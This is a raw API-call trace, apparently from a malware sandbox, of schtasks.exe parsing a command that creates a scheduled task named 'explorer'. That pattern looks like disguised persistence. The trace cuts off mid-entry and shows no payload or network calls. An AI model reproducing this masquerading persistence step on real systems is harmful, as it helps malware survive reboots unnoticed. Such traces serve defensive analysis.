[0137.819] GetProcessHeap () returned 0x240000 [0137.819] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba30 [0137.819] GetProcessHeap () returned 0x240000 [0137.819] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255990 [0137.819] GetProcessHeap () returned 0x240000 [0137.819] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x2559c0 [0137.819] GetProcessHeap () returned 0x240000 [0137.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x2559f0 [0137.820] GetProcessHeap () returned 0x240000 [0137.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a20 [0137.820] GetProcessHeap () returned 0x240000 [0137.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba50 [0137.820] GetProcessHeap () returned 0x240000 [0137.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a50 [0137.820] GetProcessHeap () returned 0x240000 [0137.820] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a80 [0137.821] GetProcessHeap () returned 0x240000 [0137.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ab0 [0137.821] GetProcessHeap () returned 0x240000 [0137.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ae0 [0137.821] GetProcessHeap () returned 0x240000 [0137.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba70 [0137.821] GetProcessHeap () returned 0x240000 [0137.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b10 [0137.821] GetProcessHeap () returned 0x240000 [0137.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b40 [0137.821] GetProcessHeap () returned 0x240000 [0137.821] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b70 [0137.821] GetProcessHeap () returned 0x240000 [0137.822] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ba0 [0137.822] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0137.822] SetLastError (dwErrCode=0x0) [0137.822] GetProcessHeap () returned 0x240000 [0137.822] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255bd0 [0137.822] GetProcessHeap () returned 0x240000 [0137.822] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c00 [0137.822] GetProcessHeap () returned 0x240000 [0137.822] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c30 [0137.822] GetProcessHeap () returned 0x240000 [0137.822] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c60 [0137.822] GetProcessHeap () returned 0x240000 [0137.822] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c90 [0137.822] GetProcessHeap () returned 0x240000 [0137.823] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba90 [0137.823] _memicmp (_Buf1=0x25ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.823] GetProcessHeap () returned 0x240000 [0137.823] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x208) returned 0x25bc30 [0137.823] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0137.823] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0137.826] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0137.826] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0137.827] GetProcessHeap () returned 0x240000 [0137.827] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25c1e0 [0137.827] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0137.827] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25c1e0 | out: lpData=0x25c1e0) returned 1 [0137.828] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0137.828] VerQueryValueW (in: pBlock=0x25c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff6a8, puLen=0xff710 | out: lplpBuffer=0xff6a8*=0x25c57c, puLen=0xff710) returned 1 [0137.860] _memicmp (_Buf1=0x25ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.860] _vsnwprintf (in: _Buffer=0x25bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff688 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0137.860] VerQueryValueW (in: pBlock=0x25c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff718, puLen=0xff708 | out: lplpBuffer=0xff718*=0x25c3a8, puLen=0xff708) returned 1 [0137.860] lstrlenW (lpString="schtasks.exe") returned 12 [0137.860] lstrlenW (lpString="schtasks.exe") returned 12 [0137.860] lstrlenW (lpString=".EXE") returned 4 [0137.860] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0137.861] lstrlenW (lpString="schtasks.exe") returned 12 [0137.862] lstrlenW (lpString=".EXE") returned 4 [0137.862] _memicmp (_Buf1=0x25ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.862] lstrlenW (lpString="schtasks") returned 8 [0137.862] GetProcessHeap () returned 0x240000 [0137.862] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d80 [0137.862] GetProcessHeap () returned 0x240000 [0137.862] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25caf0 [0137.862] GetProcessHeap () returned 0x240000 [0137.862] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cb20 [0137.862] GetProcessHeap () returned 0x240000 [0137.862] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cb50 [0137.862] GetProcessHeap () returned 0x240000 [0137.862] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bab0 [0137.862] _memicmp (_Buf1=0x25bab0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa0) returned 0x25c030 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cb80 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cbb0 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cbe0 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bad0 [0137.863] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x200) returned 0x25d2c0 [0137.863] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0137.863] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257a80 [0137.863] _vsnwprintf (in: _Buffer=0x25c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff688 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0137.863] GetProcessHeap () returned 0x240000 [0137.863] GetProcessHeap () returned 0x240000 [0137.864] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c1e0) returned 1 [0137.864] GetProcessHeap () returned 0x240000 [0137.864] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c1e0) returned 0x74e [0137.864] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c1e0 | out: hHeap=0x240000) returned 1 [0137.864] SetLastError (dwErrCode=0x0) [0137.864] GetThreadLocale () returned 0x409 [0137.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.865] lstrlenW (lpString="?") returned 1 [0137.865] GetThreadLocale () returned 0x409 [0137.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.865] lstrlenW (lpString="create") returned 6 [0137.865] GetThreadLocale () returned 0x409 [0137.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.865] lstrlenW (lpString="delete") returned 6 [0137.865] GetThreadLocale () returned 0x409 [0137.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.865] lstrlenW (lpString="query") returned 5 [0137.865] GetThreadLocale () returned 0x409 [0137.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.865] lstrlenW (lpString="change") returned 6 [0137.865] GetThreadLocale () returned 0x409 [0137.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.866] lstrlenW (lpString="run") returned 3 [0137.866] GetThreadLocale () returned 0x409 [0137.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.866] lstrlenW (lpString="end") returned 3 [0137.866] GetThreadLocale () returned 0x409 [0137.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.866] lstrlenW (lpString="showsid") returned 7 [0137.866] GetThreadLocale () returned 0x409 [0137.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.866] SetLastError (dwErrCode=0x0) [0137.866] SetLastError (dwErrCode=0x0) [0137.866] lstrlenW (lpString="/create") returned 7 [0137.866] lstrlenW (lpString="-/") returned 2 [0137.866] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.866] lstrlenW (lpString="?") returned 1 [0137.866] lstrlenW (lpString="?") returned 1 [0137.866] GetProcessHeap () returned 0x240000 [0137.866] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c1e0 [0137.866] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.866] GetProcessHeap () returned 0x240000 [0137.866] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25c200 [0137.866] lstrlenW (lpString="create") returned 6 [0137.866] GetProcessHeap () returned 0x240000 [0137.866] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c220 [0137.866] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.866] GetProcessHeap () returned 0x240000 [0137.866] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x14) returned 0x25c240 [0137.867] _vsnwprintf (in: _Buffer=0x25c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|?|") returned 3 [0137.867] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.867] lstrlenW (lpString="|?|") returned 3 [0137.867] lstrlenW (lpString="|create|") returned 8 [0137.867] SetLastError (dwErrCode=0x490) [0137.867] lstrlenW (lpString="create") returned 6 [0137.867] lstrlenW (lpString="create") returned 6 [0137.867] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.867] GetProcessHeap () returned 0x240000 [0137.867] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c200) returned 1 [0137.867] GetProcessHeap () returned 0x240000 [0137.867] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25c200, Size=0x14) returned 0x25c260 [0137.867] lstrlenW (lpString="create") returned 6 [0137.867] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.867] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.867] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.867] lstrlenW (lpString="|create|") returned 8 [0137.867] lstrlenW (lpString="|create|") returned 8 [0137.867] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0137.867] SetLastError (dwErrCode=0x0) [0137.867] SetLastError (dwErrCode=0x0) [0137.867] SetLastError (dwErrCode=0x0) [0137.867] lstrlenW (lpString="/tn") returned 3 [0137.867] lstrlenW (lpString="-/") returned 2 [0137.867] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.868] lstrlenW (lpString="?") returned 1 [0137.868] lstrlenW (lpString="?") returned 1 [0137.868] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.868] lstrlenW (lpString="tn") returned 2 [0137.868] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.868] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|?|") returned 3 [0137.868] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.868] lstrlenW (lpString="|?|") returned 3 [0137.868] lstrlenW (lpString="|tn|") returned 4 [0137.868] SetLastError (dwErrCode=0x490) [0137.868] lstrlenW (lpString="create") returned 6 [0137.868] lstrlenW (lpString="create") returned 6 [0137.868] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.868] lstrlenW (lpString="tn") returned 2 [0137.868] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.868] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.868] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.868] lstrlenW (lpString="|create|") returned 8 [0137.868] lstrlenW (lpString="|tn|") returned 4 [0137.868] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0137.868] SetLastError (dwErrCode=0x490) [0137.868] lstrlenW (lpString="delete") returned 6 [0137.868] lstrlenW (lpString="delete") returned 6 [0137.868] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.869] lstrlenW (lpString="tn") returned 2 [0137.869] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.869] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|delete|") returned 8 [0137.869] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.869] lstrlenW (lpString="|delete|") returned 8 [0137.869] lstrlenW (lpString="|tn|") returned 4 [0137.869] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0137.869] SetLastError (dwErrCode=0x490) [0137.869] lstrlenW (lpString="query") returned 5 [0137.869] lstrlenW (lpString="query") returned 5 [0137.869] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.869] lstrlenW (lpString="tn") returned 2 [0137.869] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.869] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|query|") returned 7 [0137.869] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.869] lstrlenW (lpString="|query|") returned 7 [0137.869] lstrlenW (lpString="|tn|") returned 4 [0137.869] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0137.869] SetLastError (dwErrCode=0x490) [0137.869] lstrlenW (lpString="change") returned 6 [0137.869] lstrlenW (lpString="change") returned 6 [0137.869] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.869] lstrlenW (lpString="tn") returned 2 [0137.869] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.869] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|change|") returned 8 [0137.870] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.870] lstrlenW (lpString="|change|") returned 8 [0137.870] lstrlenW (lpString="|tn|") returned 4 [0137.870] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0137.870] SetLastError (dwErrCode=0x490) [0137.870] lstrlenW (lpString="run") returned 3 [0137.870] lstrlenW (lpString="run") returned 3 [0137.870] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.870] lstrlenW (lpString="tn") returned 2 [0137.870] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.870] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|run|") returned 5 [0137.870] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.870] lstrlenW (lpString="|run|") returned 5 [0137.870] lstrlenW (lpString="|tn|") returned 4 [0137.870] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0137.870] SetLastError (dwErrCode=0x490) [0137.870] lstrlenW (lpString="end") returned 3 [0137.870] lstrlenW (lpString="end") returned 3 [0137.870] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.870] lstrlenW (lpString="tn") returned 2 [0137.870] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.870] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|end|") returned 5 [0137.870] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.870] lstrlenW (lpString="|end|") returned 5 [0137.870] lstrlenW (lpString="|tn|") returned 4 [0137.871] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0137.871] SetLastError (dwErrCode=0x490) [0137.871] lstrlenW (lpString="showsid") returned 7 [0137.871] lstrlenW (lpString="showsid") returned 7 [0137.871] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.871] GetProcessHeap () returned 0x240000 [0137.871] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c260) returned 1 [0137.871] GetProcessHeap () returned 0x240000 [0137.871] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25c260, Size=0x16) returned 0x25c260 [0137.871] lstrlenW (lpString="tn") returned 2 [0137.871] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.871] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|showsid|") returned 9 [0137.871] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tn|") returned 4 [0137.871] lstrlenW (lpString="|showsid|") returned 9 [0137.871] lstrlenW (lpString="|tn|") returned 4 [0137.871] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0137.871] SetLastError (dwErrCode=0x490) [0137.871] SetLastError (dwErrCode=0x490) [0137.871] SetLastError (dwErrCode=0x0) [0137.871] lstrlenW (lpString="/tn") returned 3 [0137.871] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0137.871] SetLastError (dwErrCode=0x490) [0137.871] SetLastError (dwErrCode=0x0) [0137.871] lstrlenW (lpString="/tn") returned 3 [0137.872] GetProcessHeap () returned 0x240000 [0137.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c200 [0137.872] GetProcessHeap () returned 0x240000 [0137.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc10 [0137.872] SetLastError (dwErrCode=0x0) [0137.872] SetLastError (dwErrCode=0x0) [0137.872] lstrlenW (lpString="explorer") returned 8 [0137.872] lstrlenW (lpString="-/") returned 2 [0137.872] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0137.872] SetLastError (dwErrCode=0x490) [0137.872] SetLastError (dwErrCode=0x490) [0137.872] SetLastError (dwErrCode=0x0) [0137.872] lstrlenW (lpString="explorer") returned 8 [0137.872] StrChrIW (lpStart="explorer", wMatch=0x3a) returned 0x0 [0137.872] SetLastError (dwErrCode=0x490) [0137.872] SetLastError (dwErrCode=0x0) [0137.872] lstrlenW (lpString="explorer") returned 8 [0137.872] GetProcessHeap () returned 0x240000 [0137.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x12) returned 0x25c290 [0137.872] GetProcessHeap () returned 0x240000 [0137.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc40 [0137.872] SetLastError (dwErrCode=0x0) [0137.872] SetLastError (dwErrCode=0x0) [0137.872] lstrlenW (lpString="/sc") returned 3 [0137.872] lstrlenW (lpString="-/") returned 2 [0137.872] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.872] lstrlenW (lpString="?") returned 1 [0137.872] lstrlenW (lpString="?") returned 1 [0137.872] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.873] lstrlenW (lpString="sc") returned 2 [0137.873] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.873] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|?|") returned 3 [0137.873] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.873] lstrlenW (lpString="|?|") returned 3 [0137.873] lstrlenW (lpString="|sc|") returned 4 [0137.873] SetLastError (dwErrCode=0x490) [0137.873] lstrlenW (lpString="create") returned 6 [0137.873] lstrlenW (lpString="create") returned 6 [0137.873] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.873] lstrlenW (lpString="sc") returned 2 [0137.873] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.873] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.874] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.874] lstrlenW (lpString="|create|") returned 8 [0137.874] lstrlenW (lpString="|sc|") returned 4 [0137.874] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0137.874] SetLastError (dwErrCode=0x490) [0137.874] lstrlenW (lpString="delete") returned 6 [0137.874] lstrlenW (lpString="delete") returned 6 [0137.874] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.874] lstrlenW (lpString="sc") returned 2 [0137.874] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.874] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|delete|") returned 8 [0137.874] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.874] lstrlenW (lpString="|delete|") returned 8 [0137.874] lstrlenW (lpString="|sc|") returned 4 [0137.874] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0137.874] SetLastError (dwErrCode=0x490) [0137.874] lstrlenW (lpString="query") returned 5 [0137.874] lstrlenW (lpString="query") returned 5 [0137.874] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.874] lstrlenW (lpString="sc") returned 2 [0137.874] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.874] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|query|") returned 7 [0137.874] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.874] lstrlenW (lpString="|query|") returned 7 [0137.874] lstrlenW (lpString="|sc|") returned 4 [0137.875] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0137.875] SetLastError (dwErrCode=0x490) [0137.875] lstrlenW (lpString="change") returned 6 [0137.875] lstrlenW (lpString="change") returned 6 [0137.875] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.875] lstrlenW (lpString="sc") returned 2 [0137.875] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.875] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|change|") returned 8 [0137.875] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.875] lstrlenW (lpString="|change|") returned 8 [0137.875] lstrlenW (lpString="|sc|") returned 4 [0137.875] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0137.875] SetLastError (dwErrCode=0x490) [0137.875] lstrlenW (lpString="run") returned 3 [0137.875] lstrlenW (lpString="run") returned 3 [0137.875] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.875] lstrlenW (lpString="sc") returned 2 [0137.875] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.875] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|run|") returned 5 [0137.875] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.876] lstrlenW (lpString="|run|") returned 5 [0137.876] lstrlenW (lpString="|sc|") returned 4 [0137.876] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0137.876] SetLastError (dwErrCode=0x490) [0137.876] lstrlenW (lpString="end") returned 3 [0137.876] lstrlenW (lpString="end") returned 3 [0137.876] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.876] lstrlenW (lpString="sc") returned 2 [0137.876] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.876] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|end|") returned 5 [0137.876] _vsnwprintf (in: _Buffer=0x25c240, 